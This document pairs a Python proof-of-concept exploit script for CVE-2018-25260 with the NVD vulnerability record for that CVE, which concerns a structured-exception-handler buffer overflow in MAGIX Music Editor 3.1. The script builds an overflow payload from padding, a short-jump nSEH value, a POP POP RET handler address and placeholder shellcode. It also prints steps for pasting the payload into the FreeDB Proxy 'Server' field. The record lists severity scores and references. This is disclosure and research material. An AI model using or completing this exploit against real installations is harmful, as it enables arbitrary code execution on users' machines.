CVE-2018-25260

#!/usr/bin/env python # PoC for CVE-2018-25260 MAGIX Music Editor Buffer Overflow # This script generates a malicious payload to trigger the SEH overwrite. import sys # Structure of the payload: # [Junk/NOPs][nSEH][SEH Handler][Shellcode] # 1. Offset to overwrite SEH (This value needs to be determined by fuzzing) # Example offset used for demonstration purposes. offset = 4064 # 2. nSEH (Next SEH) address: Usually a short jump to the shellcode # \xEB\x06\x90\x90 = JMP SHORT +6, NOP, NOP nseh = b"\xeb\x06\x90\x90" # 3. SEH Handler address: Address of POP POP RET instruction # This address depends on the loaded DLLs (non-ASLR modules). # Placeholder: 0x10020210 (Example from a vulnerable module) seh = b"\x10\x02\x02\x10" # 4. Shellcode: Proof of concept shellcode (e.g., calc.exe or message box) # Using a simple NOP sled followed by dummy shellcode for demonstration shellcode = b"\x90" * 100 + b"A" * 300 def generate_payload(): payload = b"A" * offset + nseh + seh + shellcode return payload if __name__ == "__main__": print("[*] Generating payload for CVE-2018-25260...") payload = generate_payload() print(f"[*] Payload length: {len(payload)} bytes") print("[*] Steps to reproduce:") print("1. Copy the generated payload (hex or raw string)") print("2. Open MAGIX Music Editor 3.1") print("3. Navigate to CD menu -> FreeDB Proxy Options") print("4. Paste the payload into the 'Server' field") print("5. Click OK/Save to trigger the overflow and exception handling.") # Optionally save to file with open("poc_cve_2018_25260.txt", "wb") as f: f.write(payload) print("[*] Payload saved to poc_cve_2018_25260.txt")

{"cve": {"id": "CVE-2018-25260", "sourceIdentifier": "[email protected]", "published": "2026-04-22T16:16:46.400", "lastModified": "2026-04-29T23:32:32.540", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MAGIX Music Editor 3.1 contains a buffer overflow vulnerability in the FreeDB Proxy Options dialog that allows local attackers to execute arbitrary code by exploiting structured exception handling. Attackers can craft a malicious payload, paste it into the Server field via the CD menu's FreeDB Proxy Options, and trigger code execution when settings are accepted."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:magix:music_editor_deluxe:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.1", "matchCriteriaId": "A39ED723-C2AA-421A-BF5D-AE710B91DFDA"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/46056", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.magix.com/us/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.magix.com/us/music/mp3-deluxe/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/magix-music-editor-buffer-overflow-via-seh", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}